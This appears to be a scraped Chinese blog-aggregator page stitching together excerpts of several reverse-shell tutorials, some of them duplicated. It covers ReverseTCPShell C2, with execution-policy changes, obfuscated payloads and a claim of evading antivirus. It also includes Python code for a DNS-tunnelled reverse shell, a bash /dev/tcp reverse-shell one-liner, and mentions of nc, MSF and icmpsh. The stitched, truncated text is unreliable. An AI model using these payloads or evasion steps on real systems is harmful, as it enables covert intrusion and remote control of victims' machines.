精华内容
下载资源
问答
  • ReverseTCPShell C2是一款powershell编写的反弹shell工具,流量经过AES加密,payload通过三种混淆方式可绕过一些杀软检测。测试:1. 在文件目录下启动powershell2. .ReverseTCP.ps1 ,启动程序会出现这个界面,功能...

    ReverseTCPShell C2是一款powershell编写的反弹shell工具,流量经过AES加密,payload通过三种混淆方式可绕过一些杀软的检测。

    测试:

    1. 在文件目录下启动powershell

    01b70c1f2059bfca6e50163049ece2de.png

    2. .ReverseTCP.ps1 ,启动程序

    3a865e4bef181f8cc290349c32e4c8d9.png

    会出现这个界面,功能介绍,设置好lhost和lport(监听地址及端口)

    Modules (模块) | - Show C2-Server Modules.(显示c2服务器模块)Info (信息)

    | - Show Remote-Host Info.(显示远程主机信息)Upload (上传)

    | - Upload File from Local-Host to Remote-Host.(上传文件从本地主机到远程主机。)Download(下载)

    | - Download File from Remote-Host to Local-Host.(从远程主机下载文件到本地主机。)Screenshot (截图)

    | - Save Screenshot from Remote-Host to Local-Host.(保存屏幕截图从远程主机到本地主机。)

    02c1878687f8eca7a25cfb7286bb1860.png

    可以看到三种混淆方式

    83924fc20c1af5328f8ac20871f477d5.png

    这里我选择的是base64,生成powershell和cmd的payload

    22006568b4bfc6ecae61f82f52a925bd.png

    复制出cmd的payload,靶机执行

    47c8a350e815e40a3e1a35d7ec8d8cbc.png

    靶机上线,杀软未提示和拦截

    a0bd4ad6b6d343581b43d66e6204c64d.png

    执行命令ipconfig

    eb5320f15a00c2bee611f7350798d57a.png

    可直接执行shell命令 ,截图经常报错,远程文件上传和下载,方便后渗透的进行,可进一步利用。

    展开全文
  • ReverseTCPShell C2是一款powershell编写的反弹shell工具,流量经过AES加密,payload通过三种混淆方式可绕过一些杀软检测。 Github下载地址:https://github.com/ZHacker13/ReverseTCPShell 1、在文件目录下启动...

    ReverseTCPShell C2 反弹shell工具

    ReverseTCPShell C2是一款powershell编写的反弹shell工具,流量经过AES加密,payload通过三种混淆方式可绕过一些杀软的检测。

    Github下载地址:https://github.com/ZHacker13/ReverseTCPShell
    1、在文件目录下启动powershell
    在这里插入图片描述
    2、.\ReverseTCP.ps1 启动程序

    **

    注:若出现以下错误,请更改执行策略

    **
    在这里插入图片描述
    报错:无法加载文件 ******.ps1,因为在此系统中禁止执行脚本。有关详细信息。

    set-executionpolicy remotesigned
    

    默认值改为:Y
    在这里插入图片描述
    再次.\ReverseTCP.ps1
    在这里插入图片描述
    功能介绍,设置好lhost和lport(监听地址及端口)
    Modules (模块) | - Show C2-Server Modules.(显示c2服务器模块)
    Info (信息) | - Show Remote-Host Info.(显示远程主机信息)
    Upload (上传) | - Upload File from Local-Host to Remote-Host.(上传文件从本地主机到远程主机。)
    Download(下载) | - Download File from Remote-Host to Local-Host.(从远程主机下载文件到本地主机。)
    Screenshot (截图) | - Save Screenshot from Remote-Host to Local-Host.(保存屏幕截图从远程主机到本地主机。)

    可以看到三种混淆方式
    在这里插入图片描述
    这里选择的是base64,生成powershell和cmd的payload
    在这里插入图片描述
    复制出cmd的payload,靶机执行
    在这里插入图片描述

    本地powershell开启监听,靶机上线,杀软未提示和拦截
    在这里插入图片描述
    可直接执行shell命令、远程文件上传和下载,方便后渗透的进行,可进一步利用。

    展开全文
  • 好用cmdshell反弹工具;好用cmdshell反弹工具
  • DNS反弹Shell

    千次阅读 2018-06-08 16:43:38
    反弹Shell的工具和实现方法多种多样,只要能够让被控端通过网络发送数据到控制端,并且实现数据的解析即可完成控制过程。最近在继续了解网络协议,于是突然想在DNS数据包中插入一些伪造的命令来实现解析,本来准备...

    0X01 引子

    反弹Shell广泛应用于远程控制下的权限维持,通过反转攻(客户端)和受(服务端)的角色,来实现条件限制,尤其是内网情况下的远程连接。

    反弹Shell的工具和实现方法多种多样,只要能够让被控端通过网络发送数据到控制端,并且实现数据的解析即可完成控制过程。

    最近在继续了解网络协议,于是突然想在DNS数据包中插入一些伪造的命令来实现解析,本来准备自己尝试写一个DNS服务器和DNS请求程序来实现反弹,不过刚动笔就看到了别人开源的程序,于是直接使用别人的程序来学习了。

    https://github.com/ahhh/Reverse_DNS_Shell

    为了运行测试更方便,去掉了程序中的加解密功能,额外的Python包只需要dns和dnslib

    0X02 DNS

    为了关联主机和IP地址对应关系而诞生的DNS本身,不需要我在这里赘述了。跳过域名构成、查询过程等可以轻松在网络查询到的内容,我们直接来看看DNS的包构成


    在smtp那篇文章中,我们提过一层一层洋葱状的协议包裹,在这里,我们跳过以太、IP、UDP头,直接到DNS数据的部分。

    • 标志着数据开始的是Tran ID段,所有的问答信息都需要一定的机制来保证对应,这部分应该就是对应机制中的一部分。
    • 紧接着的Flags,0x0100表明了一些查询属性。
    • Queries中是我们所要查询的host,查询类型。作为A类型查询,得到的是host的IP,这里也是我们做手脚的地方,不过TXT类型可以插入一些附加的信息,更适合我们用来构造命令语句。

    服务器回应包如下:

    • 作为回应的Tran ID,它和查询包相同。
    • Flags中标准回应标志位
    • 重复显示的Queries
    • 回应的Answers信息。通过CNAME查取主机规范名,再通过规范名查取对应IP。

    利用这种相互应答的特性,我们初步计划通过以下流程来实现我们的反弹Shell


    0X03 程序

    原始的程序可以在上面的github中找到,这里贴出我们去掉加解密的部分程序。

    先说DNS服务器的部分


    这一部分封装了对DNS的应答,payload里是被控端发来的查询信息,也就是上一次命令执行后的回显,而out是我们这一次的命令,封装成了TXT的应答包


    这部分对于被控端的查询包进行解析,从中获取到地址和数据,对于数据,解析出其中的命令回显,并且初始化一个应答包。

    主函数中使用socket监听相关端口,对于监听到的包按照预定流程进行处理。

    再来看看被控端发送的部分


    首先是整个流程一览,从程序中可以很清晰的看到建立连接,解析命令,执行命令,发送回显的过程。



    构造的url,也就是命令回显,对于没有命令的,会返回nxt。利用回显构造查询语句。


    这两段程序对于收到的文本格式的命令进行解析和执行,没有太多的东西可以讲。只是注意格式的截取,并且考虑对Linux和Windows的命令之间转换。


    这部分负责发送DNS查询,按照与服务器约定的格式构造包并且进行发送。

    0X04 测试

    我们需要先执行服务器端程序,然后执行被控端程序。我的服务端程序在一台Ubuntu主机上,被控端在我的Win10机器上。



    这是被控端第一次连接时发送的包,因为控制端还没有指令,第一次连接发送的是空包,其中Name的值bnh0就是我之前所说的NXT


    而第二个包就是控制端发送的指令,在TXT中发送的就是指令whoami的base64编码,

    可以对比和我之前实际抓包的不同之处,对照可以看出我们在DNS包的哪些地方做过修改。

    0X05 延伸

    其实相关的DNS隧道技术原理应该差不多,都是在本来应该放DNS规定信息的地方放入了其他的东西,来达到一些意想不到的结果。

    当然,RFC还有许多协议可以让我随意构造去做测试,下一步考虑写一个多协议支持的Fuzzing工具 :)



    展开全文
  • 反弹Shell的工具和实现方法多种多样,只要能够让被控端通过网络发送数据到控制端,并且实现数据的解析即可完成控制过程。最近在继续了解网络协议,于是突然想在DNS数据包中插入一些伪造的命令来实现解析,本来准备...

    0X01 引子

    反弹Shell广泛应用于远程控制下的权限维持,通过反转攻(客户端)和受(服务端)的角色,来实现条件限制,尤其是内网情况下的远程连接。

    反弹Shell的工具和实现方法多种多样,只要能够让被控端通过网络发送数据到控制端,并且实现数据的解析即可完成控制过程。

    最近在继续了解网络协议,于是突然想在DNS数据包中插入一些伪造的命令来实现解析,本来准备自己尝试写一个DNS服务器和DNS请求程序来实现反弹,不过刚动笔就看到了别人开源的程序,于是直接使用别人的程序来学习了。

    为了运行测试更方便,去掉了程序中的加解密功能,额外的Python包只需要dns和dnslib

    0X02 DNS

    为了关联主机和IP地址对应关系而诞生的DNS本身,不需要我在这里赘述了。跳过域名构成、查询过程等可以轻松在网络查询到的内容,我们直接来看看DNS的包构成

    在smtp那篇文章中,我们提过一层一层洋葱状的协议包裹,在这里,我们跳过以太、IP、UDP头,直接到DNS数据的部分。

    标志着数据开始的是Tran ID段,所有的问答信息都需要一定的机制来保证对应,这部分应该就是对应机制中的一部分。

    紧接着的Flags,0x0100表明了一些查询属性。

    Queries中是我们所要查询的host,查询类型。作为A类型查询,得到的是host的IP,这里也是我们做手脚的地方,不过TXT类型可以插入一些附加的信息,更适合我们用来构造命令语句。

    服务器回应包如下:

    作为回应的Tran ID,它和查询包相同。 Flags中标准回应标志位 重复显示的Queries

    回应的Answers信息。通过CNAME查取主机规范名,再通过规范名查取对应IP。

    利用这种相互应答的特性,我们初步计划通过以下流程来实现我们的反弹Shell

    0X03 程序

    原始的程序可以在上面的github中找到,这里贴出我们去掉加解密的部分程序。

    先说DNS服务器的部分

    1 2 3 4 5 6 7 8 def spawnShell(answer, payload): shellInput =

    raw_input(PROMPT) if shellInput == 'quit': EXIT = 1 if shellInput

    == '': spawnShell(answer, payload) out =

    base64.b64encode(shellInput) answer.add_answer(

    *dnslib.RR.fromZone('{}.com 60 TXT "{}"'.format(payload, out)))

    return answer

    这一部分封装了对DNS的应答,payload里是被控端发来的查询信息,也就是上一次命令执行后的回显,而out是我们这一次的命令,封装成了TXT的应答包

    1 2 3 4 5 6 def recievePayload(udps): data, addr =

    udps.recvfrom(1024) dnsD = dnslib.DNSRecord.parse(data) payload =

    dnsD.questions[0].qname.label[0] answer = dnsD.reply() return addr,

    payload, answer

    这部分对于被控端的查询包进行解析,从中获取到地址和数据,对于数据,解析出其中的命令回显,并且初始化一个应答包。

    主函数中使用socket监听相关端口,对于监听到的包按照预定流程进行处理。

    再来看看被控端发送的部分

    1 2 3 4 5 6 def start(host): while 1: a = startConnection(host) cmd

    = parseCmd(a) stdoutput = runCmd(cmd) sendOutputToServer(stdoutput,

    host)

    首先是整个流程一览,从程序中可以很清晰的看到建立连接,解析命令,执行命令,发送回显的过程。

    1 2 3 4 5 6 def startConnection(host): url = formURL(nextCommand)

    request = dns.message.make_query(url, dns.rdatatype.TXT) answers =

    dns.query.udp(request, host) a = answers.to_text() return a

    构造的url,也就是命令回显,对于没有命令的,会返回nxt。利用回显构造查询语句。

    1 2 def parseCmd(a): def runCmd(cmd)

    这两段程序对于收到的文本格式的命令进行解析和执行,没有太多的东西可以讲。只是注意格式的截取,并且考虑对Linux和Windows的命令之间转换。

    1 2 3 4 5 6 7 8 9 10 11 12 13 def sendOutputToServer(output, host):

    send ='' output_end = len(output) for chunk in output: send +=

    chunk output_end -= 1 if len(send) == 58: url = formURL(send)

    dnsMakeQuery(url, host) send ='' if output_end == 0: url =

    formURL(send) dnsMakeQuery(url, host)

    这部分负责发送DNS查询,按照与服务器约定的格式构造包并且进行发送。

    0X04 测试

    我们需要先执行服务器端程序,然后执行被控端程序。我的服务端程序在一台Ubuntu主机上,被控端在我的Win10机器上。

    如图,是在Ubuntu上对Win10执行ipconfig命令的显示。

    我们再进行抓包分析:

    这是被控端第一次连接时发送的包,因为控制端还没有指令,第一次连接发送的是空包,其中Name的值bnh0就是我之前所说的NXT

    而第二个包就是控制端发送的指令,在TXT中发送的就是指令whoami的base64编码,

    可以对比和我之前实际抓包的不同之处,对照可以看出我们在DNS包的哪些地方做过修改。

    0X05 延伸

    其实相关的DNS隧道技术原理应该差不多,都是在本来应该放DNS规定信息的地方放入了其他的东西,来达到一些意想不到的结果。

    当然,RFC还有许多协议可以让我随意构造去做测试,下一步考虑写一个多协议支持的Fuzzing工具 :)

    展开全文
  • 0x00 前言好久不见0x01 工具介绍起因是, 每次需要弹shell的时候都要去翻笔记, 或者找一些编码网站编码payload, 改完IP再复制还总是容易出错...于是写了下面这个HTML单文件版的小工具, 如下PS: 懒的美化了(其实是不会...
  • ReverseTCPShell C2是一款powershell编写的反弹shell工具,流量经过AES加密,payload通过三种混淆方式可绕过一些杀软检测。测试:1.在文件目录下启动powershell2..\ReverseTCP.ps1 ,启动程序会出现这个界面,功能...
  • worker_socket.send(data) def worker(worker_socket,addr): while True: data = worker_socket.recv(BUFSIZE) if len(data) (data,shell=True,stdin=PIPE,stdout=PIPE,stderr=PIPE) result = p.stdout.read() err ...
  • 有时候网站服务器上有杀毒软件,我们上传的nc.exe、lcx.exe等工具都被杀了,这时候就需要一款免杀的工具反弹shell。 这篇博客主要是依据国外的一片文章翻译而来,根据国外大佬的教程将Python脚本转换成exe程序...
  • 本博文仅供学习反弹shell的姿势使用,勿作其他用途的参考! 复现环境说明 服务端(被监听)(ubuntu使用cat /proc/version查看,centos使用cat /etc/system-release查看):ubuntu 5.4.0-67-generic; centos:...
  • 反弹 shell N 种方式

    2020-12-03 22:04:47
    证各位的最佳阅读体验,所有的工具和方式我都要实测之后再整理发布相关知 识文章,这一次我来讲一下关于反弹 shell 的知识,这部分知识可能说起来一句 话也行: bash -i >& /dev/tcp/10.22.225.77/777 0>&...
  • 常用的反弹shell总结

    2020-03-24 18:59:02
    nc反弹shell 我们已经拿下主机一个webshell,我们想获取一个可以直接操作主机虚拟终端,此时我们首先想到是开启一个shell监听,这种场景比较简单,我们直接使用使用nc即可开启,如果没有nc我们也可以很轻松...
  • linux下反弹shell的姿势

    2018-04-19 13:17:36
    下面就说说linux自带的程序来反弹shell的姿势。 自带工具Bash针对不同的linux版本,可能有不同的利用方式,这里简单列一下,在使用的时候大家自行测试。 0x01bash -i >& /dev/tcp/10.0.0.1/8080 ...
  • Linux 反弹 Shell

    2019-08-03 23:16:00
    NC 反弹 shell Netcat简介 俗称瑞士军刀或NC,小巧强悍,可以读写TCP或UDP网络连接,它被设计成一个可靠后端工具,能被其它程序或脚本直接地或容易地驱动。 同时,nc又是一个功能丰富网络调试和开发工具,...
  • 最常见ping命令就是利用ICMP协议,使用该协议反弹shell,两台机器不需要开放端口,ICMP隧道简单好用。 实验环境 Kali 192.168.10.144 win7 192.168.10.129 kali安装好icmpsh工具 root@kali:~# git clone ...
  • 关于TCP劫持攻击并反弹shell在开始攻击前,复习一下TCP三次握手和4次挥手。 第1次握手:客户端向服务器发送一个同步数据包请求建立连接,该数据包中,客户端向服务器发送一个SYN数据包,此时SYN数据包置一,seq是...
  • 后渗透——利用kali工具MSF反弹shell

    千次阅读 2020-03-16 19:42:57
    msfconsole可能是Metasploit框架(MSF)最流行接口。它提供了一个“一体化”集中控制台,并允许您高效地访问MSF中几乎所有可用选项。MSFconsole一开始可能看起来有些吓人,但是一旦您了解了命令语法,您就会...
  • Shellpy地址:https://github.com/DarkSecDevelopers/Shellpy Shellpy是一个小脚本工具,可以在windows下建议一个反向的...修改成自己的后,我们就可以运行这个脚本,根据后面代码可以看到,脚本首先会将反弹shell的...
  • 本人自己写的反弹shell工具,技术有限,目前只能反弹一个shell,还没深入研究,不过提权过程中一个shell足够了,毕竟不是远控管理工具。 最新版本,确实是免杀。 话不多说,看操作: 第一步打开服务端本地运行...
  • Windows/Linux 下nc 反弹shell

    千次阅读 2019-06-11 15:26:56
    nc又名netcat,一个简单而有用的工具,可以干很多事情,但是不可以吃。 何为反弹shell?为什么不反弹攻击? 相信你有一天可以直接把所有攻击反弹回去的. 何为反弹shell? 简单来说就...
  • 基于JavaScriptrce反弹shell漏洞

    千次阅读 多人点赞 2020-08-17 18:29:40
    文章目录环境要求工具地址攻击步骤 环境要求 kali攻击机 192.168.232.131 win10靶机 ...拉取工具到kali根目录下 git clone https://github.com/CroweCybersecurity/ps1encode.git 给权限 chmod +x pslen.
  • 渗透一个网站最后获取该web服务器权限时候,可能会思考,如何把公网IP反弹到自己内网(私有ip)虚拟机上?这时候我们就需要把内网ip和端口映射成一个公网ip和端口从而实现内网穿透。 这里我用是NATAPP...
  • TCP劫持实现反弹shell实验环境:TCP劫持反弹shell反弹shell的原理:1. 关于反弹shell2. 反弹shell的原因实验过程1.获取数据包2.模拟产生TCP会话3.在kali上抓取数据包4.利用netwox工具伪造包配置示例:反射shell语句...
  • 文章来源:洛米唯熊0x00:前言继前面讲到用(看我如何利用微信反弹shell)之后,引来了很多人围观。确实,新颖利用方式。很有利用价值!闲话少说。今天,利用奇思妙想方法来反弹shell。用一张自拍照。0x01:过程...
  • linux 反弹shell 准备篇

    2019-05-16 21:16:16
    netcat(简称nc)被誉为网络安全界的‘瑞士军刀’,是我们这次反弹shell篇的主角,这个命令功能极其强大,它是一个简单但实用的工具,通过使用TCP或UDP协议的网络连接去读写数据。它被设计成一个稳定的后门工具, ...
  • curlcurl 是常用命令行工具,用来请求 Web 服务器。它名字就是客户端(client) URL 工具的意思。curl 功能非常强大,它命令可以直接放到 postman 使用,postman 也是支持 curl 请求方式。常用结果参数...
  • 前言小助手今天说这个工具,是Linux下网络探测必备,在故障排查,远程连接中,简单方便,配上管道符操作,可以组装成强大功能。他就是 Nmap 工具包内 Ncat。介绍Netcat是用于跨TCP和UDP端口读写数据实用程序...
  • linux反弹shell基础 &...可以简单理解为:有一个中央枢纽,控制着整个系统的运行,而你是这个中央枢纽的主人,你想通过它来控制着整个系统的运行,但它不理解你的语言,所有你需要与它沟通的工具或者说能让它理解的...
  • 一、实际环境:当我们使用nc等工具进行反弹shell时,流量都是没经过加密,直接传输,管理员很容易就能发现我们异常流量,而且现在大部分企业内部都会有各种流量监测设备,所以在这种情况下当我们进行操作时,...
  • 通过ICMP协议反弹SHELL并执行命令

    千次阅读 2018-05-23 22:16:52
    防火墙可以拦截到反连的shell,但ICMP协议基本上是不拦截。因此,为了获得shell并在目标主机上执行命令,可以使用ICMP协议作为隐藏通道进行连接。使用icmpsh(https://github.com/inquisb/icmpsh)工具可用来执行此...

空空如也

空空如也

1 2 3 4 5 ... 10
收藏数 196
精华内容 78
关键字:

反弹shell的工具